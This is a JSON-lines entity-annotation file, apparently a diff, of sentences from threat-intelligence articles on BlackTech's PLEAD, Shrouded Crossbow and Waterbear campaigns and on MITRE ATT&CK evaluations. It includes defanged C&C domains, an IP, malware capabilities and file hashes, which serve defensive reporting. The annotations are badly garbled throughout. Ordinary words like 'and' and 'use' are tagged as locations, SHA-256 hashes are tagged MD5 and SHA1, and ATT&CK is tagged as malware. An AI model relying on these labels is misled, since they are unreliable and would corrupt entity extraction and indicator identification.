-{"id":12761,"text":"Use strong passwords and always enable multifactor authentication on your cloud account.","entities":[{"id":39657,"label":"location","start_offset":4,"end_offset":10},{"id":39658,"label":"location","start_offset":21,"end_offset":24},{"id":39659,"label":"location","start_offset":74,"end_offset":79}],"relations":[],"Comments":[]}
-{"id":12762,"text":" Amazon also offers additional recommendations on how to secure AWS resources, as well as services such as Amazon Guard​Duty, Amazon Macie, and AWS Security Hub that enhance the existing security of cloud implementations.","entities":[{"id":39665,"label":"location","start_offset":140,"end_offset":143},{"id":39666,"label":"location","start_offset":148,"end_offset":156},{"id":39667,"label":"location","start_offset":157,"end_offset":160},{"id":39668,"label":"location","start_offset":187,"end_offset":195},{"id":39669,"label":"location","start_offset":199,"end_offset":204}],"relations":[],"Comments":[]}
-{"id":12763,"text":"Security solutions such as Trend Micro Hybrid Cloud Security can also help in protecting cloud-native systems and their various layers.","entities":[{"id":39670,"label":"location","start_offset":0,"end_offset":8},{"id":39672,"label":"location","start_offset":61,"end_offset":64},{"id":39673,"label":"location","start_offset":89,"end_offset":94},{"id":39674,"label":"location","start_offset":110,"end_offset":113}],"relations":[],"Comments":[]}
-{"id":12764,"text":"By using Trend Micro Cloud One™, enterprises gain access to protection for continuous integration and continuous delivery (CI\/CD) pipeline and applications.","entities":[{"id":39676,"label":"location","start_offset":60,"end_offset":70},{"id":39677,"label":"location","start_offset":98,"end_offset":101},{"id":39678,"label":"location","start_offset":139,"end_offset":142}],"relations":[],"Comments":[]}
-{"id":12765,"text":"The Trend Micro Cloud One platform includes:  Workload Security: runtime protection for workloads Container Security: automated container image and registry scanning File Storage Security: security for cloud file and object storage services","entities":[{"id":39679,"label":"location","start_offset":10,"end_offset":15},{"id":39680,"label":"location","start_offset":16,"end_offset":21},{"id":39681,"label":"location","start_offset":22,"end_offset":25},{"id":39682,"label":"location","start_offset":55,"end_offset":63},{"id":39683,"label":"location","start_offset":73,"end_offset":83},{"id":39684,"label":"location","start_offset":108,"end_offset":116},{"id":39685,"label":"location","start_offset":144,"end_offset":147},{"id":39686,"label":"location","start_offset":179,"end_offset":187},{"id":39687,"label":"location","start_offset":189,"end_offset":197},{"id":39688,"label":"location","start_offset":202,"end_offset":207},{"id":39689,"label":"location","start_offset":213,"end_offset":216}],"relations":[],"Comments":[]}
 {"id":12766,"text":"Network Security: cloud network layer IPS security Application Security: security for serverless functions, APIs, and applications Conformity: real-time security for cloud infrastructure — secure, optimize, comply  Indicators of Compromise (IOCs)  SHA-256  Detection  Description  9504b74906cf2c4aba515de463f20c02107a00575658e4637ac838278440d1ae  Backdoor.Linux.TSUNAMI.USELVBF21  IRC bot  3139a85a18e42bf60ba65deb3d691b5c088a0fac2b80a4d05f17a68eac3d4882  TrojanSpy.SH.AWSTEAL.A  Script       Tags  Cloud | APT & Targeted Attacks | Research | Articles, News, Reports","entities":[{"id":39690,"label":"location","start_offset":8,"end_offset":16},{"id":39691,"label":"location","start_offset":18,"end_offset":23},{"id":39692,"label":"location","start_offset":42,"end_offset":50},{"id":39693,"label":"location","start_offset":63,"end_offset":71},{"id":39694,"label":"location","start_offset":73,"end_offset":81},{"id":39695,"label":"location","start_offset":114,"end_offset":117},{"id":39696,"label":"location","start_offset":143,"end_offset":147},{"id":39697,"label":"location","start_offset":148,"end_offset":152},{"id":39698,"label":"location","start_offset":153,"end_offset":161},{"id":39699,"label":"location","start_offset":166,"end_offset":171},{"id":39700,"label":"MD5","start_offset":281,"end_offset":345},{"id":39701,"label":"SHA1","start_offset":390,"end_offset":454},{"id":39702,"label":"location","start_offset":499,"end_offset":504},{"id":39703,"label":"location","start_offset":507,"end_offset":510}],"relations":[],"Comments":[]}
-{"id":12767,"text":"BlackTech is a cyber espionage group operating against targets in East Asia, particularly Taiwan, and occasionally, Japan and Hong Kong.","entities":[{"id":39707,"label":"location","start_offset":98,"end_offset":101},{"id":39709,"label":"location","start_offset":122,"end_offset":125}],"relations":[],"Comments":[]}
-{"id":12768,"text":"Based on the mutexes and domain names of some of their C&C servers, BlackTech’s campaigns are likely designed to steal their target’s technology.","entities":[{"id":39711,"label":"location","start_offset":21,"end_offset":24},{"id":39714,"label":"location","start_offset":90,"end_offset":93},{"id":39715,"label":"location","start_offset":94,"end_offset":100},{"id":39716,"label":"location","start_offset":125,"end_offset":131}],"relations":[],"Comments":[]}
 {"id":12769,"text":"Following their activities and evolving tactics and techniques helped us uncover the proverbial red string of fate that connected three seemingly disparate campaigns: PLEAD, Shrouded Crossbow, and of late, Waterbear.","entities":[{"id":39717,"label":"location","start_offset":27,"end_offset":30},{"id":39718,"label":"location","start_offset":48,"end_offset":51},{"id":39719,"label":"tools","start_offset":73,"end_offset":80},{"id":39720,"label":"location","start_offset":110,"end_offset":114},{"id":39724,"label":"location","start_offset":193,"end_offset":196}],"relations":[],"Comments":[]}
-{"id":12770,"text":"Over the course of their campaigns, we analyzed their modus operandi and dissected their tools of the trade—and uncovered common denominators indicating that PLEAD, Shrouded Crossbow, and Waterbear may actually be operated by the same group.","entities":[{"id":39726,"label":"location","start_offset":69,"end_offset":72},{"id":39727,"label":"location","start_offset":102,"end_offset":107},{"id":39728,"label":"location","start_offset":108,"end_offset":111},{"id":39731,"label":"location","start_offset":184,"end_offset":187},{"id":39733,"label":"location","start_offset":198,"end_offset":201},{"id":39734,"label":"location","start_offset":230,"end_offset":234}],"relations":[],"Comments":[]}
-{"id":12771,"text":"PLEAD PLEAD is an information theft campaign with a penchant for confidential documents.","entities":[{"id":39736,"label":"location","start_offset":36,"end_offset":44}],"relations":[],"Comments":[]}
-{"id":12772,"text":"Active since 2012, it has so far targeted Taiwanese government agencies and private organizations.","entities":[{"id":39739,"label":"location","start_offset":72,"end_offset":75}],"relations":[],"Comments":[]}
-{"id":12773,"text":" PLEAD’s toolset includes the self-named PLEAD backdoor and the DRIGO exfiltration tool.","entities":[{"id":39742,"label":"location","start_offset":56,"end_offset":59},{"id":39744,"label":"location","start_offset":83,"end_offset":87}],"relations":[],"Comments":[]}
 {"id":12774,"text":"PLEAD uses spear-phishing emails to deliver and install their backdoor, either as an attachment or through links to cloud storage services.","entities":[{"id":39746,"label":"location","start_offset":11,"end_offset":16},{"id":39747,"label":"attack-pattern","start_offset":17,"end_offset":25},{"id":39748,"label":"location","start_offset":44,"end_offset":47},{"id":39749,"label":"location","start_offset":116,"end_offset":121}],"relations":[],"Comments":[]}
 {"id":12775,"text":"Some of the cloud storage accounts used to deliver PLEAD are also used as drop off points for exfiltrated documents stolen by DRIGO.","entities":[{"id":39750,"label":"location","start_offset":12,"end_offset":17},{"id":39751,"label":"malware","start_offset":51,"end_offset":56},{"id":39752,"label":"location","start_offset":57,"end_offset":60},{"id":39753,"label":"location","start_offset":83,"end_offset":89}],"relations":[],"Comments":[]}
 {"id":12776,"text":"PLEAD’s installers are disguised as documents using the right-to-left-override (RTLO) technique to obfuscate the malware’s filename.","entities":[{"id":39755,"label":"tools","start_offset":0,"end_offset":5},{"id":39756,"label":"location","start_offset":19,"end_offset":22}],"relations":[],"Comments":[]}
-{"id":12777,"text":"They are mostly accompanied by decoy documents to further trick users.","entities":[{"id":39757,"label":"location","start_offset":5,"end_offset":8},{"id":39758,"label":"location","start_offset":31,"end_offset":36}],"relations":[],"Comments":[]}
 {"id":12778,"text":"We’ve also seen PLEAD use exploits for these vulnerabilities:   CVE-2015-5119, patched by Adobe last July, 2015 CVE-2012-0158, patched by Microsoft last April, 2012 CVE-2014-6352, patched by Microsoft last October, 2014 CVE-2017-0199, patched by Microsoft last April, 2017  PLEAD also dabbled with a short-lived, fileless version of their malware when it obtained an exploit for a Flash vulnerability (CVE-2015-5119) that was leaked during the Hacking Team breach.","entities":[{"id":39759,"label":"malware","start_offset":16,"end_offset":21},{"id":39771,"label":"malware","start_offset":274,"end_offset":279},{"id":39772,"label":"location","start_offset":300,"end_offset":305},{"id":39773,"label":"threat-actor","start_offset":444,"end_offset":456}],"relations":[],"Comments":[]}
 {"id":12779,"text":"Figure 1: How PLEAD utilizes compromised routers PLEAD actors use a router scanner tool to scan for vulnerable routers, after which the attackers will enable the router’s VPN feature then register a machine as virtual server.","entities":[{"id":39775,"label":"tools","start_offset":14,"end_offset":19},{"id":39776,"label":"malware","start_offset":49,"end_offset":54},{"id":39777,"label":"location","start_offset":83,"end_offset":87},{"id":39778,"label":"location","start_offset":146,"end_offset":150},{"id":39779,"label":"location","start_offset":188,"end_offset":196}],"relations":[],"Comments":[]}
 {"id":12780,"text":"This virtual server will be used either as a C&C server or an HTTP server that delivers PLEAD malware to their targets.","entities":[{"id":39780,"label":"location","start_offset":20,"end_offset":24},{"id":39781,"label":"malware","start_offset":88,"end_offset":93}],"relations":[],"Comments":[]}
 {"id":12781,"text":"PLEAD also uses CVE-2017-7269, a buffer overflow vulnerability Microsoft Internet Information Services (IIS) 6.0 to compromise the victim’s server.","entities":[{"id":39782,"label":"tools","start_offset":0,"end_offset":5},{"id":39783,"label":"attack-pattern","start_offset":33,"end_offset":48},{"id":39784,"label":"identity","start_offset":63,"end_offset":72}],"relations":[],"Comments":[]}
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 {"id":12783,"text":"Figure 2:","entities":[],"relations":[],"Comments":[]}
 {"id":12784,"text":"One of the methods PLEAD operators use to distribute their malware PLEAD’s backdoor can:  Harvest saved credentials from browsers and email clients like Outlook List drives, processes, open windows, and files Open remote Shell Upload target file Execute applications via ShellExecute API Delete target file  PLEAD also uses the document-targeting exfiltration tool DRIGO, which mainly searches the infected machine for documents.","entities":[{"id":39789,"label":"tools","start_offset":19,"end_offset":24},{"id":39790,"label":"malware","start_offset":67,"end_offset":72},{"id":39791,"label":"location","start_offset":84,"end_offset":87},{"id":39792,"label":"location","start_offset":90,"end_offset":97},{"id":39793,"label":"location","start_offset":130,"end_offset":133},{"id":39794,"label":"location","start_offset":153,"end_offset":160},{"id":39795,"label":"location","start_offset":161,"end_offset":165},{"id":39796,"label":"location","start_offset":199,"end_offset":202},{"id":39797,"label":"location","start_offset":214,"end_offset":220},{"id":39798,"label":"location","start_offset":221,"end_offset":226},{"id":39799,"label":"location","start_offset":234,"end_offset":240},{"id":39800,"label":"location","start_offset":295,"end_offset":301},{"id":39801,"label":"tools","start_offset":308,"end_offset":313},{"id":39802,"label":"location","start_offset":360,"end_offset":364}],"relations":[],"Comments":[]}
-{"id":12785,"text":"Each copy of DRIGO contains a refresh token tied to specific Gmail accounts used by the attackers, which are in turn linked to a Google Drive account.","entities":[{"id":39806,"label":"location","start_offset":105,"end_offset":108}],"relations":[],"Comments":[]}
-{"id":12786,"text":"The stolen files are uploaded to these Google Drives, where the attackers can harvest them.","entities":[{"id":39808,"label":"location","start_offset":17,"end_offset":20},{"id":39810,"label":"location","start_offset":74,"end_offset":77},{"id":39811,"label":"location","start_offset":78,"end_offset":85},{"id":39812,"label":"location","start_offset":86,"end_offset":90}],"relations":[],"Comments":[]}
 {"id":12787,"text":"Shrouded Crossbow","entities":[],"relations":[],"Comments":[]}
 {"id":12788,"text":"This campaign, first observed in 2010, is believed to be operated by a well-funded group given how it appeared to have purchased the source code of the BIFROST backdoor, which the operators enhanced and created other tools from.","entities":[{"id":39814,"label":"location","start_offset":5,"end_offset":13},{"id":39817,"label":"location","start_offset":89,"end_offset":94},{"id":39818,"label":"attack-pattern","start_offset":133,"end_offset":139},{"id":39819,"label":"malware","start_offset":152,"end_offset":159},{"id":39820,"label":"location","start_offset":199,"end_offset":202}],"relations":[],"Comments":[]}
-{"id":12789,"text":"Shrouded Crossbow targeted privatized agencies and government contractors as well as enterprises in the consumer electronics, computer, healthcare, and financial industries.","entities":[{"id":39822,"label":"location","start_offset":47,"end_offset":50},{"id":39823,"label":"location","start_offset":148,"end_offset":151}],"relations":[],"Comments":[]}
 {"id":12790,"text":"Shrouded Crossbow employs three BIFROST-derived backdoors: BIFROSE, KIVARS, and XBOW.","entities":[{"id":39826,"label":"malware","start_offset":32,"end_offset":39},{"id":39829,"label":"location","start_offset":76,"end_offset":79}],"relations":[],"Comments":[]}
 {"id":12791,"text":"Like PLEAD, Shrouded Crossbow uses spear-phishing emails with backdoor-laden attachments that utilize the RTLO technique and accompanied by decoy documents.","entities":[{"id":39833,"label":"location","start_offset":35,"end_offset":40},{"id":39834,"label":"attack-pattern","start_offset":41,"end_offset":49},{"id":39835,"label":"location","start_offset":121,"end_offset":124},{"id":39836,"label":"location","start_offset":140,"end_offset":145}],"relations":[],"Comments":[]}
 {"id":12792,"text":"BIFROSE, known for evading detection by communicating with its C&C servers via Tor protocol, also has a version targeting UNIX-based operating systems, which are usually used in servers, workstations, and mobile devices.","entities":[{"id":39838,"label":"malware","start_offset":79,"end_offset":82},{"id":39839,"label":"location","start_offset":158,"end_offset":161},{"id":39840,"label":"location","start_offset":201,"end_offset":204},{"id":39841,"label":"location","start_offset":205,"end_offset":211}],"relations":[],"Comments":[]}
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-{"id":12794,"text":"KIVARS enabled attackers to download and execute files, list drives, uninstall malware service, take screenshots, activate\/deactivate keylogger, show\/hide active windows, and trigger mouse clicks and keyboard inputs.","entities":[{"id":39847,"label":"location","start_offset":37,"end_offset":40},{"id":39848,"label":"location","start_offset":56,"end_offset":60},{"id":39849,"label":"location","start_offset":171,"end_offset":174},{"id":39850,"label":"location","start_offset":196,"end_offset":199}],"relations":[],"Comments":[]}
-{"id":12795,"text":"A 64-bit version of KIVARS also emerged to keep pace with the popularity of 64-bit systems.","entities":[{"id":39853,"label":"location","start_offset":48,"end_offset":52}],"relations":[],"Comments":[]}
-{"id":12796,"text":"XBOW’s capabilities are derived from BIFROSE and KIVARS; Shrouded Crossbow gets its name from its unique mutex format.","entities":[{"id":39856,"label":"location","start_offset":20,"end_offset":23},{"id":39858,"label":"location","start_offset":45,"end_offset":48}],"relations":[],"Comments":[]}
-{"id":12797,"text":"Waterbear Waterbear has actually been operating for a long time.","entities":[{"id":39862,"label":"location","start_offset":54,"end_offset":58},{"id":39863,"label":"location","start_offset":59,"end_offset":63}],"relations":[],"Comments":[]}
-{"id":12798,"text":"The campaign’s name is based on its malware’s capability to equip additional functions remotely.","entities":[{"id":39864,"label":"location","start_offset":4,"end_offset":12}],"relations":[],"Comments":[]}
 {"id":12799,"text":"Waterbear similarly employs a modular approach to its malware.","entities":[],"relations":[],"Comments":[]}
-{"id":12800,"text":"A loader component executable will connect to the C&C server to download the main backdoor and load it in memory.","entities":[{"id":39866,"label":"location","start_offset":30,"end_offset":34},{"id":39867,"label":"location","start_offset":91,"end_offset":94},{"id":39868,"label":"location","start_offset":95,"end_offset":99}],"relations":[],"Comments":[]}
-{"id":12801,"text":"A later version of this malware appeared and used patched server applications as its loader component, while the main backdoor is either loaded from an encrypted file or downloaded from the C&C server.","entities":[{"id":39869,"label":"location","start_offset":41,"end_offset":44}],"relations":[],"Comments":[]}
 {"id":12802,"text":"The tactic it later adopted required prior knowledge of their targets’ environment.","entities":[],"relations":[],"Comments":[]}
-{"id":12803,"text":"It’s possible attackers used Waterbear as a secondary payload to help maintain presence after gaining some levels of access into the targets’ systems.","entities":[{"id":39872,"label":"location","start_offset":107,"end_offset":113}],"relations":[],"Comments":[]}
 {"id":12804,"text":"All Roads Lead to BlackTech","entities":[{"id":39873,"label":"threat-actor","start_offset":10,"end_offset":14},{"id":39874,"label":"threat-actor","start_offset":18,"end_offset":27}],"relations":[],"Comments":[]}
-{"id":12805,"text":"Based on the use of the same C&C servers, the campaigns’ coordinated efforts, and similarities in tools, techniques, and objectives, we can conclude that they are operated by the same group.","entities":[{"id":39875,"label":"location","start_offset":24,"end_offset":28},{"id":39876,"label":"location","start_offset":78,"end_offset":81},{"id":39877,"label":"location","start_offset":117,"end_offset":120},{"id":39878,"label":"location","start_offset":136,"end_offset":139},{"id":39879,"label":"location","start_offset":159,"end_offset":162},{"id":39880,"label":"location","start_offset":179,"end_offset":183}],"relations":[],"Comments":[]}
-{"id":12806,"text":"It is not uncommon, for instance, for a group—especially a well-funded one—to split into teams and run multiple campaigns.","entities":[{"id":39881,"label":"location","start_offset":71,"end_offset":74},{"id":39882,"label":"location","start_offset":78,"end_offset":83},{"id":39883,"label":"location","start_offset":95,"end_offset":98}],"relations":[],"Comments":[]}
-{"id":12807,"text":"While most of the campaigns’ attacks are conducted separately, we’ve seen apparently joint operations conducted in phases that entail the work of different teams at each point in the infection chain.","entities":[{"id":39884,"label":"location","start_offset":6,"end_offset":10},{"id":39885,"label":"location","start_offset":37,"end_offset":40},{"id":39886,"label":"location","start_offset":170,"end_offset":175}],"relations":[],"Comments":[]}
-{"id":12808,"text":"Use of the Same C&C Servers.","entities":[{"id":39887,"label":"location","start_offset":11,"end_offset":15}],"relations":[],"Comments":[]}
-{"id":12809,"text":"In several instances, we found the campaigns’ malware communicating with the same C&C servers.","entities":[{"id":39888,"label":"location","start_offset":77,"end_offset":81}],"relations":[],"Comments":[]}
-{"id":12810,"text":"In targeted attacks, C&C servers are typically not shared with other groups.","entities":[{"id":39889,"label":"location","start_offset":33,"end_offset":36}],"relations":[],"Comments":[]}
-{"id":12811,"text":"Here are some of the C&C servers we found that are shared by the campaigns:","entities":[{"id":39890,"label":"location","start_offset":5,"end_offset":8},{"id":39891,"label":"location","start_offset":47,"end_offset":50}],"relations":[],"Comments":[]}
 {"id":12812,"text":" C&C Server PLEAD Shrouded Crossbow Waterbear itaiwans[.]com Yes No Yes microsoftmse[.]com Yes Yes No 211[.]72[.]242[.]120 Yes Yes No","entities":[{"id":39892,"label":"malware","start_offset":12,"end_offset":17},{"id":39893,"label":"threat-actor","start_offset":18,"end_offset":35},{"id":39894,"label":"malware","start_offset":36,"end_offset":45},{"id":39895,"label":"IPV4","start_offset":102,"end_offset":122}],"relations":[],"Comments":[]}
 {"id":12813,"text":"Table 1: C&C servers shared by PLEAD, Shrouded Crossbow, and Waterbear","entities":[{"id":39897,"label":"malware","start_offset":31,"end_offset":36},{"id":39898,"label":"threat-actor","start_offset":38,"end_offset":55},{"id":39899,"label":"location","start_offset":57,"end_offset":60},{"id":39900,"label":"malware","start_offset":61,"end_offset":70}],"relations":[],"Comments":[]}
 {"id":12814,"text":"Additionally, the IP 211[.]72 [.]242[.]120 is one of the hosts for the domain microsoftmse[.]com, which has been used by several KIVARS variants.","entities":[{"id":39901,"label":"location","start_offset":46,"end_offset":49},{"id":39902,"label":"malware","start_offset":129,"end_offset":135}],"relations":[],"Comments":[]}
 {"id":12815,"text":"Joint Operations.","entities":[],"relations":[],"Comments":[]}
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 {"id":12817,"text":"While it’s possible for separate groups to attack at the same time, we can construe at they are at least working together:    PLEAD","entities":[{"id":39904,"label":"location","start_offset":57,"end_offset":61},{"id":39905,"label":"location","start_offset":62,"end_offset":66},{"id":39906,"label":"location","start_offset":71,"end_offset":74},{"id":39907,"label":"location","start_offset":92,"end_offset":95},{"id":39908,"label":"malware","start_offset":126,"end_offset":131}],"relations":[],"Comments":[]}
 {"id":12818,"text":"Shrouded Crossbow Samples from different groups using the same filename Loader component named after its target, i.e. {target name}.exe Loader component named after its target, i.e. {target name}.exe or {target name}64.exe Backdoors using the same C&C servers Connected to 211[.]72[.]242[.]120:53 Connected to 211[.]72[.]242[.]120:443 Timeline indicating arrival order Arrived two days after initial infection by SC Established presence two years prior, but re-infected at a recent time","entities":[{"id":39909,"label":"threat-actor","start_offset":0,"end_offset":17},{"id":39910,"label":"location","start_offset":58,"end_offset":62},{"id":39911,"label":"location","start_offset":105,"end_offset":111},{"id":39912,"label":"location","start_offset":119,"end_offset":125},{"id":39913,"label":"location","start_offset":169,"end_offset":175},{"id":39914,"label":"location","start_offset":183,"end_offset":189},{"id":39915,"label":"location","start_offset":204,"end_offset":210},{"id":39916,"label":"location","start_offset":243,"end_offset":247},{"id":39917,"label":"location","start_offset":482,"end_offset":486}],"relations":[],"Comments":[]}
 {"id":12819,"text":"Table 2: Incident where PLEAD and KIVARS attack the same target    PLEAD Shrouded Crossbow Waterbear Samples found in same machine vmdks.exe  cfbcjtqx.dll tpauto.dll Timeline of infection 3\/16\/2017 2\/23\/2017 3\/8\/2017   Table 3: Incidents where PLEAD, KIVARS, and Waterbear were used on the same target","entities":[{"id":39918,"label":"malware","start_offset":24,"end_offset":29},{"id":39919,"label":"location","start_offset":30,"end_offset":33},{"id":39920,"label":"malware","start_offset":34,"end_offset":40},{"id":39921,"label":"location","start_offset":52,"end_offset":56},{"id":39922,"label":"location","start_offset":57,"end_offset":63},{"id":39923,"label":"malware","start_offset":67,"end_offset":72},{"id":39924,"label":"threat-actor","start_offset":73,"end_offset":90},{"id":39925,"label":"malware","start_offset":91,"end_offset":100},{"id":39926,"label":"location","start_offset":118,"end_offset":122},{"id":39928,"label":"malware","start_offset":244,"end_offset":249},{"id":39930,"label":"location","start_offset":259,"end_offset":262},{"id":39932,"label":"location","start_offset":290,"end_offset":294},{"id":39933,"label":"location","start_offset":295,"end_offset":301}],"relations":[],"Comments":[]}
-{"id":12820,"text":"Similarities between tools and techniques.","entities":[{"id":39934,"label":"location","start_offset":13,"end_offset":20},{"id":39935,"label":"location","start_offset":27,"end_offset":30}],"relations":[],"Comments":[]}
 {"id":12821,"text":"PLEAD and KIVARS, for instance, share the use of RTLO techniques to disguise their installers as documents.","entities":[{"id":39936,"label":"malware","start_offset":0,"end_offset":5},{"id":39937,"label":"location","start_offset":6,"end_offset":9}],"relations":[],"Comments":[]}
-{"id":12822,"text":"Both also use decoy documents to make the RTLO attack more convincing.","entities":[{"id":39939,"label":"location","start_offset":14,"end_offset":19}],"relations":[],"Comments":[]}
-{"id":12823,"text":"Another similarity is the use of a small loader component to load encrypted backdoors into memory.","entities":[{"id":39940,"label":"location","start_offset":35,"end_offset":40},{"id":39941,"label":"location","start_offset":61,"end_offset":65}],"relations":[],"Comments":[]}
 {"id":12824,"text":"Similar Objectives.","entities":[],"relations":[],"Comments":[]}
-{"id":12825,"text":"The ulterior motive of these campaigns is to steal important documents from their victims; initial recipients of their attacks are not always their primary target.","entities":[{"id":39942,"label":"location","start_offset":127,"end_offset":130},{"id":39943,"label":"location","start_offset":156,"end_offset":162}],"relations":[],"Comments":[]}
-{"id":12826,"text":"For instance, we saw several decoy documents stolen by the attackers that are then used against another target.","entities":[{"id":39944,"label":"location","start_offset":29,"end_offset":34},{"id":39945,"label":"location","start_offset":74,"end_offset":77},{"id":39946,"label":"location","start_offset":104,"end_offset":110}],"relations":[],"Comments":[]}
-{"id":12827,"text":"This indicates that document theft is most likely the first phase of an attack chain against a victim with ties to the intended target.","entities":[{"id":39947,"label":"location","start_offset":38,"end_offset":42},{"id":39948,"label":"location","start_offset":43,"end_offset":49},{"id":39950,"label":"location","start_offset":128,"end_offset":134}],"relations":[],"Comments":[]}
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-{"id":12829,"text":"Based on the type of documents stolen by these campaigns, we can get a clearer view of who they’re targeting and compromising, the purpose of their campaigns, and when they take place.","entities":[{"id":39961,"label":"location","start_offset":13,"end_offset":17},{"id":39962,"label":"location","start_offset":61,"end_offset":64},{"id":39963,"label":"location","start_offset":79,"end_offset":83},{"id":39964,"label":"location","start_offset":109,"end_offset":112},{"id":39965,"label":"location","start_offset":159,"end_offset":162}],"relations":[],"Comments":[]}
-{"id":12830,"text":"Below are some of the categories or labels of the stolen documents:  Address book Budget Business Contract Culture Defense Education Energy Foreign affairs Funding application Human affairs    Internal affairs Laws Livelihood economy Meeting Official letter Password list Performance appraisal Physical culture Press release","entities":[{"id":39966,"label":"location","start_offset":6,"end_offset":9},{"id":39967,"label":"location","start_offset":77,"end_offset":81},{"id":39968,"label":"location","start_offset":133,"end_offset":139},{"id":39969,"label":"location","start_offset":210,"end_offset":214},{"id":39970,"label":"location","start_offset":226,"end_offset":233},{"id":39971,"label":"location","start_offset":267,"end_offset":271}],"relations":[],"Comments":[]}
 {"id":12831,"text":"Public security Schedule   Enterprises Need to be Proactive PLEAD, Shrouded Crossbow, and Waterbear","entities":[{"id":39972,"label":"location","start_offset":0,"end_offset":6},{"id":39973,"label":"location","start_offset":7,"end_offset":15},{"id":39974,"label":"malware","start_offset":60,"end_offset":65},{"id":39975,"label":"threat-actor","start_offset":67,"end_offset":84},{"id":39976,"label":"location","start_offset":86,"end_offset":89},{"id":39977,"label":"malware","start_offset":90,"end_offset":99}],"relations":[],"Comments":[]}
-{"id":12832,"text":"are still actively mounting their campaigns against its targets, which is why organizations must proactively secure their perimeter.","entities":[{"id":39978,"label":"location","start_offset":0,"end_offset":3}],"relations":[],"Comments":[]}
-{"id":12833,"text":"IT\/system administrators and information security professionals can consider making a checklist of what to look out for in the network for any signs of anomalies and suspicious behavior that can indicate intrusions.","entities":[{"id":39979,"label":"location","start_offset":25,"end_offset":28},{"id":39980,"label":"location","start_offset":41,"end_offset":49},{"id":39981,"label":"location","start_offset":64,"end_offset":67},{"id":39982,"label":"location","start_offset":162,"end_offset":165},{"id":39983,"label":"location","start_offset":191,"end_offset":194}],"relations":[],"Comments":[]}
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 {"id":12835,"text":"Network traffic analysis, deployment of firewalls and intrusion detection and prevention systems, network segmentation, and data categorization are just some of them.","entities":[{"id":39989,"label":"location","start_offset":50,"end_offset":53},{"id":39990,"label":"location","start_offset":74,"end_offset":77},{"id":39991,"label":"location","start_offset":120,"end_offset":123},{"id":39992,"label":"location","start_offset":144,"end_offset":147},{"id":39993,"label":"identity","start_offset":148,"end_offset":152},{"id":39994,"label":"location","start_offset":161,"end_offset":165}],"relations":[],"Comments":[]}
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 {"id":12841,"text":"An overview and analysis of the various malware used by PLEAD, Shrouded Crossbow, and Waterbear, along with their Indicators of Compromise (hashes, C&Cs), can be found in this technical brief.        Tags  Articles, News, Reports | APT & Targeted Attacks | Research","entities":[{"id":40020,"label":"location","start_offset":12,"end_offset":15},{"id":40021,"label":"malware","start_offset":56,"end_offset":61},{"id":40023,"label":"location","start_offset":82,"end_offset":85},{"id":40025,"label":"location","start_offset":97,"end_offset":102},{"id":40026,"label":"location","start_offset":155,"end_offset":158},{"id":40027,"label":"location","start_offset":232,"end_offset":235}],"relations":[],"Comments":[]}
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 {"id":12844,"text":"Evaluations conducted by MITRE Engenuity don’t generate any scores, rankings or ratings.","entities":[],"relations":[],"Comments":[]}
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 {"id":12847,"text":"Security teams can leverage the MITRE ATT&CK framework to tell a story that helps simplify security communication across their organization.","entities":[{"id":40038,"label":"location","start_offset":0,"end_offset":8},{"id":40039,"label":"location","start_offset":15,"end_offset":18},{"id":40040,"label":"malware","start_offset":19,"end_offset":27},{"id":40042,"label":"location","start_offset":58,"end_offset":62},{"id":40043,"label":"location","start_offset":65,"end_offset":70},{"id":40044,"label":"location","start_offset":91,"end_offset":99}],"relations":[],"Comments":[]}
-{"id":12848,"text":"The framework also provides security teams increased coverage visibility.","entities":[{"id":40045,"label":"location","start_offset":28,"end_offset":36}],"relations":[],"Comments":[]}
 {"id":12849,"text":"A security professional can leverage MITRE ATT&CK to audit for coverage gaps to discover where they may be vulnerable to threats.","entities":[{"id":40046,"label":"location","start_offset":2,"end_offset":10},{"id":40047,"label":"location","start_offset":24,"end_offset":27},{"id":40048,"label":"malware","start_offset":28,"end_offset":36},{"id":40050,"label":"location","start_offset":100,"end_offset":103}],"relations":[],"Comments":[]}
-{"id":12850,"text":"From there they can use the evaluations to compare vendors and determine which solutions are best suited to fill this gap.","entities":[{"id":40051,"label":"location","start_offset":16,"end_offset":19},{"id":40052,"label":"location","start_offset":59,"end_offset":62},{"id":40053,"label":"location","start_offset":89,"end_offset":92},{"id":40054,"label":"location","start_offset":93,"end_offset":97},{"id":40055,"label":"location","start_offset":118,"end_offset":121}],"relations":[],"Comments":[]}
-{"id":12851,"text":"The increase in visibility can also help identify coverage overlaps that could be adjusted to optimize cost.","entities":[{"id":40056,"label":"location","start_offset":27,"end_offset":30},{"id":40057,"label":"location","start_offset":103,"end_offset":107}],"relations":[],"Comments":[]}
-{"id":12852,"text":"For all the benefits MITRE ATT&CK delivers, it is a pretty dense amount of information to sort through and interpret, so we wanted to help break down the evaluation.","entities":[{"id":40059,"label":"location","start_offset":103,"end_offset":106}],"relations":[],"Comments":[]}
-{"id":12853,"text":"However, before we get into the actual evaluation breakdown of what each phase analyzes and highlights, it is important to understand this year’s attack scenarios.","entities":[{"id":40060,"label":"location","start_offset":88,"end_offset":91}],"relations":[],"Comments":[]}
-{"id":12854,"text":"The MITRE Engenuity ATT&CK Evaluations builds their simulations based on real world advanced persistent threat (APT) attacks, simulating the tradecraft and operational flows of specific adversary threat groups.","entities":[{"id":40063,"label":"location","start_offset":73,"end_offset":77},{"id":40064,"label":"location","start_offset":78,"end_offset":83},{"id":40065,"label":"location","start_offset":112,"end_offset":115},{"id":40066,"label":"location","start_offset":152,"end_offset":155}],"relations":[],"Comments":[]}
-{"id":12855,"text":"This year the evaluation separately simulated two financially motivated threat groups that use similar behaviors, Carbanak on day 1 and FIN7 on day 2 which in total included over 174 steps.","entities":[{"id":40071,"label":"location","start_offset":132,"end_offset":135}],"relations":[],"Comments":[]}
 {"id":12856,"text":"MITRE Engenuity ATT&CK Evaluations tests a solution’s ability to detect an adversary performing a targeted attack.","entities":[],"relations":[],"Comments":[]}
-{"id":12857,"text":"This means that unlike traditional testing, MITRE Engenuity is solely focused on the product’s detection capabilities after a compromise has occurred.","entities":[{"id":40076,"label":"location","start_offset":5,"end_offset":10}],"relations":[],"Comments":[]}
-{"id":12858,"text":"However, this year, an optional evaluation was run to test a product’s ability to block\/prevent an attack, validating how effective a product is at detecting an on-going threat and stopping it in its track before further damage occurs.","entities":[{"id":40079,"label":"location","start_offset":177,"end_offset":180}],"relations":[],"Comments":[]}
-{"id":12859,"text":"The Compromise: Tricking the Target","entities":[{"id":40080,"label":"location","start_offset":29,"end_offset":35}],"relations":[],"Comments":[]}
